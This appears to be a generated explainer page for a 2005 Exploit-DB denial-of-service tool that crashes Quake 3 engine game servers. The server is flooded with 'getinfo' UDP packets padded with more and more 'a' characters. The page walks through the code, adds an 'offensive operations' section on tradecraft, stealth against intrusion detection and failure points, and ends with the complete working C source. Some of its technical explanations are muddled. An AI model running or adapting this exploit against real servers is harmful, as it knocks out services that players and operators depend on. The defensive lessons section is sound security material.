Quake 3 Engine Infostring Crash Exploit Explained

Quake 3 Engine Infostring Crash Exploit Explained
What this paper is
This paper, published in 2005 by Luigi Auriemma, details a vulnerability in the Quake 3 engine related to how it handles "infostring" data. Specifically, it describes a method to crash or shut down a Quake 3 server by sending a specially crafted UDP packet. The exploit works by sending a series of UDP packets with increasing lengths to the server's game port. When the server attempts to process an excessively long "getinfo" string, it triggers a buffer overflow or similar condition, leading to a denial-of-service (DoS) state.
Simple technical breakdown
The Quake 3 engine, like many network games, uses UDP packets to communicate. Servers often respond to specific queries from clients, such as "getstatus" (to get server information) or "getinfo" (to get more detailed information about the server's configuration).
This exploit targets the "getinfo" command. The vulnerability lies in the server's handling of the data it expects to receive in response to "getinfo". The exploit sends a malformed "getinfo" request that is much larger than the server expects. When the server tries to process this oversized data, it can lead to a crash.
The exploit works by:
- Sending an initial "getstatus" request: This is to confirm the server is alive and reachable.
- Sending a series of "getinfo" requests with increasing data: The exploit starts with a small amount of data appended to the "getinfo" command and gradually increases the size of this appended data in each subsequent packet.
- Observing the server's response (or lack thereof): If the server crashes, it will stop responding to subsequent "getstatus" requests. The exploit checks for this lack of response to declare the server vulnerable.
The core of the exploit is sending a UDP packet that starts with \xff\xff\xff\xffgetinfo followed by a large number of 'a' characters. The length of these 'a' characters is incrementally increased.
Complete code and payload walkthrough
The provided C code is a network utility designed to test for and trigger the Quake 3 engine infostring vulnerability.
Key Components:
- Includes: Standard C libraries (
stdio.h,stdlib.h,string.h) and platform-specific socket headers (winsock.hfor Windows,unistd.h,sys/socket.h, etc. for Unix-like systems). - Platform-Specific Definitions:
#ifdef WIN32: Handles Windows-specific socket functions.#include <winsock.h>: Includes the Windows Sockets API.std_err(): A custom function to translate Windows socket error codes into human-readable messages.#define close closesocket: Aliases theclosefunction toclosesocketfor Windows compatibility.
#else: Handles Unix-like systems.- Includes standard Unix socket headers.
std_err(): Usesperrorto display system errors.
- Constants:
VER: Version string for the exploit.BUFFSZ: Maximum buffer size (2048 bytes).TIMEOUT: Socket timeout in seconds (3 seconds).INFO: The UDP packet string\xff\xff\xff\xffgetstatus\nused to check if the server is alive.GETINFO: The UDP packet prefix\xff\xff\xff\xffgetinfowhich is the base for the exploit payload.GETINFOSZ: The length of theGETINFOprefix.
- Macros:
SEND(x,y): A macro to send UDP data (x) of length (y) to the target. It callsstd_err()if the send operation fails.RECV: A macro to receive UDP data intobuff. It callsstd_err()if the receive operation fails.RECVT: A macro that first checks for a socket timeout using thetimeout()function, then callsRECV. Iftimeout()returns an error (indicating a timeout), it prints an error and exits.
- Helper Functions:
showinfo(u_char *data): Parses and prints server information received in response to thegetstatuscommand. It handles backslashes (\) as delimiters for key-value pairs.timeout(int sock): Implements a timeout mechanism for socket operations usingselect(). Returns -1 on timeout, 0 on success.resolv(char *host): Resolves a hostname to an IP address. It first triesinet_addrand falls back togethostbynameif it's not a direct IP.std_err(void): Handles error reporting, either via WindowsWSAGetLastErroror Unixperror.
main Function Breakdown:
- Initialization:
setbuf(stdout, NULL): Disables output buffering forstdout, ensuring immediate printing.- Prints banner information.
- Argument Parsing:
- Checks if at least 3 arguments are provided (program name, server, port).
- Parses command-line options:
-f FROM: Start offset for the data payload (default 700).-t TO: End offset for the data payload (default BUFFSZ - GETINFOSZ, i.e., 2048 - 11 = 2037).-j JUMPS: Increment size for the data payload (default 1).
- Parses the target server IP/hostname and port.
- Socket Setup:
WSADATA wsadata; WSAStartup(MAKEWORD(1,0), &wsadata);(Windows specific): Initializes the Winsock library.sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);: Creates a UDP socket.- Calls
std_err()if socket creation fails.
- Initial Server Check:
SEND(INFO, sizeof(INFO) - 1);: Sends thegetstatuscommand.RECVT;: Receives the response with a timeout.buff[len] = 0x00;: Null-terminates the received data.showinfo(buff);: Displays the server's status information.
- Exploit Loop:
memcpy(bof, GETINFO, GETINFOSZ);: Copies theGETINFOprefix into thebofbuffer.p = bof + GETINFOSZ;: Sets a pointerpto the end of theGETINFOprefix, where the variable data will be appended.- Offset Adjustment:
if(from > to) from = to;ensuresfromdoesn't exceedto. - Initial Payload Padding:
for(i = 0; i < from; i++) *p++ = 'a';: Appendsfromnumber of 'a' characters to theGETINFOprefix. slen = p - bof;: Calculates the initial total packet length.- Main Loop (
for(;;)):printf(" packet length: %d\r", slen);: Prints the current packet length being sent.SEND(bof, slen);: Sends the crafted UDP packet.sent++;: Increments the count of sent packets.if(timeout(sd) < 0) break;: Checks if the server has stopped responding (timeout). If so, the server is considered vulnerable, and the loop breaks.RECV;: Receives any response.- Increment Payload Size:
slen += jumps;: Increases the packet length byjumps.- Bounds Checking:
if((slen - GETINFOSZ) > to): Checks if the appended data length exceeds thetolimit. If so, it breaks the loop.else if(slen > BUFFSZ): Checks if the total packet length exceeds the local buffer size. If so, it prints a warning and breaks.
for(i = 0; i < jumps; i++) *p++ = 'a';: Appendsjumpsmore 'a' characters to the payload.
- Post-Scan Analysis:
- Checks if any packets were sent. If not, prints an error and exits.
- Prints the final packet length and jump value.
- Final Vulnerability Check:
SEND(INFO, sizeof(INFO) - 1);: Sends anothergetstatusrequest.if(timeout(sd) < 0): If thisgetstatusrequest times out, it means the server is no longer responding, indicating it's vulnerable.- Prints the vulnerability status.
close(sd);: Closes the socket.return(0);: Exits successfully.
showinfo Function:
- Takes a
databuffer as input. - Iterates through the buffer, looking for backslashes (
\). - When a backslash is found, it replaces it with a null terminator (
0x00) to split the string. - It prints the data in a key-value format, alternating between printing a key (left-aligned) and its value (indented).
- Finally, it prints any remaining data after the last backslash.
timeout Function:
- Uses
select()to monitor the socket for readability with a specified timeout (TIMEOUT). tout.tv_sec = TIMEOUT;: Sets the seconds part of the timeout.tout.tv_usec = 0;: Sets the microseconds part of the timeout.FD_ZERO(&fd_read); FD_SET(sock, &fd_read);: Initializes the file descriptor set to monitor the givensock.err = select(sock + 1, &fd_read, NULL, NULL, &tout);: Callsselect.- If
err < 0, it's a system error, callstd_err(). - If
err == 0, the timeout occurred, return -1. - If
err > 0, data is available, return 0.
resolv Function:
- Takes a
hoststring as input. host_ip = inet_addr(host);: Tries to convert thehoststring directly into an IP address.- If
host_ip == INADDR_NONE(meaning it's not a valid IP address format), it proceeds to DNS resolution. hp = gethostbyname(host);: Usesgethostbynameto resolve the hostname.- If
!hp, the hostname cannot be resolved, prints an error and exits. - Otherwise, it retrieves the IP address from
hp->h_addrand returns it.
std_err Function (Unix version):
perror("\nError");: Prints a system-specific error message prefixed with "Error".exit(1);: Exits the program with an error code.
Payload Segments:
The core of the exploit payload is constructed dynamically.
- Prefix:
\xff\xff\xff\xffgetinfo(11 bytes)- This is the command sent to the Quake 3 server. The
\xff\xff\xff\xffis a common UDP packet header for many game protocols.
- This is the command sent to the Quake 3 server. The
- Variable Data: A sequence of 'a' characters.
- The exploit starts with
fromnumber of 'a's. - In each iteration of the loop,
jumpsnumber of 'a's are appended. - The total length of this 'a' sequence is increased until it causes the server to crash or the
tolimit is reached.
- The exploit starts with
Code Fragment/Block -> Practical Purpose Mapping:
#include <winsock.h>/#include <unistd.h>: Platform-specific socket library inclusion.#define close closesocket: Adapting standard function names for Windows.std_err(): Centralized error handling and reporting.INFO: Magic string for server status query.GETINFO: Magic string for the vulnerable server information query.SEND(x,y): UDP packet transmission.RECV: UDP packet reception.RECVT: Receive with timeout, crucial for detecting server unresponsiveness.main(): Orchestrates the exploit flow.- Argument parsing (
-f,-t,-j): Allows customization of the exploit's behavior. socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP): Creates the UDP socket for communication.peer.sin_addr.s_addr = resolv(argv[argc]);: Resolves target hostname to IP.peer.sin_port = htons(port);: Sets target port in network byte order.memcpy(bof, GETINFO, GETINFOSZ); p = bof + GETINFOSZ;: Prepares the exploit buffer with the command prefix.for(i = 0; i < from; i++) *p++ = 'a';: Appends initial padding.slen = p - bof;: Calculates current packet length.for(;;)loop: The core fuzzing loop.SEND(bof, slen);: Sends the crafted packet.if(timeout(sd) < 0) break;: Detects server crash by lack of response.slen += jumps; for(i = 0; i < jumps; i++) *p++ = 'a';: Increments packet size and appends more padding.if(timeout(sd) < 0)(final check): Confirms server is down after the fuzzing loop.showinfo(): Parses and displays legitimate server responses.timeout(): Implements the critical timeout logic for detecting a crashed server.resolv(): Handles hostname resolution.
Practical details for offensive operations teams
- Required Access Level: Network access to the target server's UDP port (typically the game port, e.g., 27960 for Quake 3). No elevated privileges on the server are required.
- Lab Preconditions:
- A network environment where the target Quake 3 server can be reached.
- A Quake 3 server instance (or a compatible game server using the Quake 3 engine) to test against.
- The exploit code compiled for the operator's operating system (Windows or Linux).
- Tooling Assumptions:
- A C compiler (e.g., GCC, MinGW) to compile the exploit.
- Standard networking utilities.
- The exploit code itself.
- Execution Pitfalls:
- Incorrect Port: Targeting the wrong UDP port will result in no interaction.
- Firewalls/Network ACLs: Network devices might block UDP traffic to the target port or drop oversized packets.
- Server Configuration: Some server configurations might have built-in protections against excessively large packets or malformed requests, preventing the crash.
- Engine Variations: While targeting Quake 3, other games using the engine might have different patch levels or specific fixes, making them not vulnerable.
- Timeout Tuning: The
TIMEOUTconstant might need adjustment based on network latency. A too-short timeout could falsely indicate a crash. fromandtovalues: Iffromis too high, the initial packets might not trigger the vulnerability. Iftois too low, the exploit might stop before reaching the vulnerable packet size. The default values are a good starting point.jumpsvalue: Ajumpsvalue of 1 will be very slow but thorough. Larger values increase speed but might miss the exact vulnerable size if it falls between increments.
- Tradecraft Considerations:
- Reconnaissance: Identify the game server and its version if possible. Confirm the game port.
- Stealth: UDP is connectionless, so direct packet sending is less noisy than TCP. However, repeated large UDP packets can still be detected by network intrusion detection systems (NIDS) looking for DoS patterns.
- Minimizing Impact: The exploit is a DoS. Ensure authorization is strictly followed. Test in a controlled lab environment first.
- Payload Delivery: This exploit is delivered via network packets, not by executing code on the target.
- Likely Failure Points:
- Server not running Quake 3 engine or patched version.
- Network path blocking UDP traffic.
- Server-side packet filtering or rate limiting.
- Incorrect target IP/port.
- The server is not vulnerable to this specific "getinfo" string overflow.
Where this was used and when
This exploit was published in February 2005. It targets the Quake 3 engine, which was widely used in games like:
- Quake III Arena
- Call of Duty (early titles)
- Medal of Honor: Allied Assault
- Soldier of Fortune II: Double Helix
- And many other games based on the id Tech 3 engine.
The vulnerability would have been present in unpatched versions of servers running these games. Its primary use case was for denial-of-service attacks against game servers, disrupting gameplay.
Defensive lessons for modern teams
- Input Validation is Crucial: Always validate the size and format of incoming data, especially from untrusted network sources. Never assume data will fit into pre-allocated buffers.
- Secure Coding Practices: Developers must be aware of buffer overflow vulnerabilities and use safe string manipulation functions (e.g.,
strncpy,snprintfin C, or prefer languages with built-in memory safety). - Regular Patching: Game servers and engines should be kept up-to-date with the latest security patches. Vendors often release fixes for such vulnerabilities.
- Network Segmentation and Firewalls: Implement firewalls to restrict access to game ports from untrusted networks. Consider rate limiting for UDP traffic.
- Intrusion Detection/Prevention Systems (IDS/IPS): NIDS can detect patterns of malformed or excessively large UDP packets that might indicate a DoS attempt.
- Deprecation of Old Protocols/Engines: Older game engines and protocols are more likely to contain known vulnerabilities. Migrating to modern, secure platforms is advisable.
- Fuzzing as a Development Practice: Regularly fuzzing network services during development can help uncover such vulnerabilities before they are exploited in the wild.
ASCII visual (if applicable)
This exploit is a network-based DoS, so a simple flow diagram is applicable.
+-----------------+ +-----------------+ +-----------------+
| Attacker (Client)|----->| Quake 3 Server |----->| Server Crash |
+-----------------+ +-----------------+ +-----------------+
| |
| 1. Send GETINFO |
| with increasing |
| payload size |
| |
| 2. Server attempts |
| to process data |
| |
| 3. Server crashes |
| due to overflow |
| |
| 4. Server stops |
| responding |
| |
+------------------------+Explanation:
- The attacker sends a series of UDP packets. Each packet starts with
\xff\xff\xff\xffgetinfoand is followed by an increasing number of 'a' characters. - The Quake 3 server receives these packets and attempts to process the
getinfocommand and its associated data. - When the data payload reaches a certain excessive size, it triggers a vulnerability (likely a buffer overflow) within the server's processing logic.
- This vulnerability causes the server process to crash or become unresponsive, effectively shutting it down or making it unavailable.
- Subsequent attempts to communicate with the server (like the final
getstatuscheck) will fail due to the crash.
Source references
- PAPER ID: 813
- PAPER TITLE: Quake 3 Engine - Infostring Crash and Shutdown
- AUTHOR: Luigi Auriemma
- PUBLISHED: 2005-02-12
- KEYWORDS: Windows,dos
- PAPER URL: https://www.exploit-db.com/papers/813
- RAW URL: https://www.exploit-db.com/raw/813
Original Exploit-DB Content (Verbatim)
/*
by Luigi Auriemma
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#ifdef WIN32
#include <winsock.h>
/*
Header file used for manage errors in Windows
It support socket and errno too
(this header replace the previous sock_errX.h)
*/
#include <string.h>
#include <errno.h>
void std_err(void) {
char *error;
switch(WSAGetLastError()) {
case 10004: error = "Interrupted system call"; break;
case 10009: error = "Bad file number"; break;
case 10013: error = "Permission denied"; break;
case 10014: error = "Bad address"; break;
case 10022: error = "Invalid argument (not bind)"; break;
case 10024: error = "Too many open files"; break;
case 10035: error = "Operation would block"; break;
case 10036: error = "Operation now in progress"; break;
case 10037: error = "Operation already in progress"; break;
case 10038: error = "Socket operation on non-socket"; break;
case 10039: error = "Destination address required"; break;
case 10040: error = "Message too long"; break;
case 10041: error = "Protocol wrong type for socket"; break;
case 10042: error = "Bad protocol option"; break;
case 10043: error = "Protocol not supported"; break;
case 10044: error = "Socket type not supported"; break;
case 10045: error = "Operation not supported on socket"; break;
case 10046: error = "Protocol family not supported"; break;
case 10047: error = "Address family not supported by protocol family"; break;
case 10048: error = "Address already in use"; break;
case 10049: error = "Can't assign requested address"; break;
case 10050: error = "Network is down"; break;
case 10051: error = "Network is unreachable"; break;
case 10052: error = "Net dropped connection or reset"; break;
case 10053: error = "Software caused connection abort"; break;
case 10054: error = "Connection reset by peer"; break;
case 10055: error = "No buffer space available"; break;
case 10056: error = "Socket is already connected"; break;
case 10057: error = "Socket is not connected"; break;
case 10058: error = "Can't send after socket shutdown"; break;
case 10059: error = "Too many references, can't splice"; break;
case 10060: error = "Connection timed out"; break;
case 10061: error = "Connection refused"; break;
case 10062: error = "Too many levels of symbolic links"; break;
case 10063: error = "File name too long"; break;
case 10064: error = "Host is down"; break;
case 10065: error = "No Route to Host"; break;
case 10066: error = "Directory not empty"; break;
case 10067: error = "Too many processes"; break;
case 10068: error = "Too many users"; break;
case 10069: error = "Disc Quota Exceeded"; break;
case 10070: error = "Stale NFS file handle"; break;
case 10091: error = "Network SubSystem is unavailable"; break;
case 10092: error = "WINSOCK DLL Version out of range"; break;
case 10093: error = "Successful WSASTARTUP not yet performed"; break;
case 10071: error = "Too many levels of remote in path"; break;
case 11001: error = "Host not found"; break;
case 11002: error = "Non-Authoritative Host not found"; break;
case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED, NOTIMP"; break;
case 11004: error = "Valid name, no data record of requested type"; break;
default: error = strerror(errno); break;
}
fprintf(stderr, "\nError: %s\n", error);
exit(1);
}
/* Added above winerr.h /str0ke ! milw0rm.com*/
#define close closesocket
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netdb.h>
#endif
#define VER "0.1"
#define BUFFSZ 2048
#define TIMEOUT 3
#define INFO "\xff\xff\xff\xff" "getstatus\n"
#define GETINFO "\xff\xff\xff\xff" "getinfo "
#define GETINFOSZ (sizeof(GETINFO) - 1)
#define SEND(x,y) if(sendto(sd, x, y, 0, (struct sockaddr *)&peer, sizeof(peer)) \
< 0) std_err();
#define RECV len = recvfrom(sd, buff, BUFFSZ, 0, NULL, NULL); \
if(len < 0) std_err();
#define RECVT if(timeout(sd) < 0) { \
fputs("\nError: socket timeout, no reply received\n\n", stdout); \
exit(1); \
} \
RECV;
void showinfo(u_char *data);
int timeout(int sock);
u_long resolv(char *host);
void std_err(void);
int main(int argc, char *argv[]) {
struct sockaddr_in peer;
int sd,
i,
len,
slen,
from = 700,
to = BUFFSZ - GETINFOSZ,
jumps = 1,
sent = 0;
u_short port;
u_char bof[BUFFSZ + 1],
buff[BUFFSZ + 1],
*p;
setbuf(stdout, NULL);
fputs("\n"
"Quake 3 engine infostring crash/shutdown scanner "VER"\n"
"by Luigi Auriemma\n"
"e-mail: aluigi@altervista.org\n"
"web: http://aluigi.altervista.org\n"
"\n", stdout);
if(argc < 3) {
printf("\n"
"Usage: %s [options] <server> <port>\n"
"\n"
"Options:\n"
"-f FROM start the scan from byte FROM (default %d)\n"
"-t TO finish the scan at byte TO (default %d)\n"
"-j JUMPS the number of bytes to increment for each scan.\n"
" Default value is %d, meaning that if the scan starts from %d it will\n"
" send getinfo followed by %d bytes, then %d, %d, %d and so on until %d\n"
"\n", argv[0],
from,
to,
jumps, from,
from, from + jumps, from + (jumps * 2), from + (jumps * 3), to);
exit(1);
}
#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif
argc -= 2;
for(i = 1; i < argc; i++) {
switch(argv[i][1]) {
case 'f': from = atoi(argv[++i]); break;
case 't': to = atoi(argv[++i]); break;
case 'j': jumps = atoi(argv[++i]); break;
default: {
printf("\nError: wrong command-line argument (%s)\n\n", argv[i]);
exit(1);
}
}
}
port = atoi(argv[argc + 1]);
peer.sin_addr.s_addr = resolv(argv[argc]);
peer.sin_port = htons(port);
peer.sin_family = AF_INET;
printf("- target %s : %hu\n",
inet_ntoa(peer.sin_addr), port);
sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();
fputs("- request informations:\n", stdout);
SEND(INFO, sizeof(INFO) - 1);
RECVT;
buff[len] = 0x00;
showinfo(buff);
fputs("- getinfo crash/shutdown scan:\n\n", stdout);
memcpy(bof, GETINFO, GETINFOSZ);
p = bof + GETINFOSZ;
if(from > to) from = to;
for(i = 0; i < from; i++) *p++ = 'a';
slen = p - bof;
for(;;) {
printf(" packet length: %d\r", slen);
SEND(bof, slen);
sent++;
if(timeout(sd) < 0) break;
RECV;
slen += jumps;
if((slen - GETINFOSZ) > to) {
slen -= jumps;
break;
} else if(slen > BUFFSZ) {
printf("\n\n- max local buffer size (%d) reached", BUFFSZ);
slen -= jumps;
break;
}
for(i = 0; i < jumps; i++) *p++ = 'a';
}
if(!sent) {
fputs("\n\nError: recheck your options because I have sent no packets, probably you have chosen too big values\n\n", stdout);
close(sd);
exit(1);
}
printf("\n\n- last UDP packet sent was %d bytes (jumps = %d)",
slen, slen - GETINFOSZ);
fputs("\n- check server:\n", stdout);
SEND(INFO, sizeof(INFO) - 1);
if(timeout(sd) < 0) {
fputs("\nServer IS vulnerable!!!\n\n", stdout);
} else {
fputs("\nServer doesn't seem vulnerable\n\n", stdout);
}
close(sd);
return(0);
}
void showinfo(u_char *data) {
int nt = 1;
u_char *p;
while((p = strchr(data, '\\'))) {
*p = 0x00;
if(!nt) {
printf("%30s: ", data);
nt++;
} else {
printf("%s\n", data);
nt = 0;
}
data = p + 1;
}
printf("%s\n", data);
}
int timeout(int sock) {
struct timeval tout;
fd_set fd_read;
int err;
tout.tv_sec = TIMEOUT;
tout.tv_usec = 0;
FD_ZERO(&fd_read);
FD_SET(sock, &fd_read);
err = select(sock + 1, &fd_read, NULL, NULL, &tout);
if(err < 0) std_err();
if(!err) return(-1);
return(0);
}
u_long resolv(char *host) {
struct hostent *hp;
u_long host_ip;
host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if(!hp) {
printf("\nError: Unable to resolv hostname (%s)\n", host);
exit(1);
} else host_ip = *(u_long *)hp->h_addr;
}
return(host_ip);
}
#ifndef WIN32
void std_err(void) {
perror("\nError");
exit(1);
}
#endif
// milw0rm.com [2005-02-12]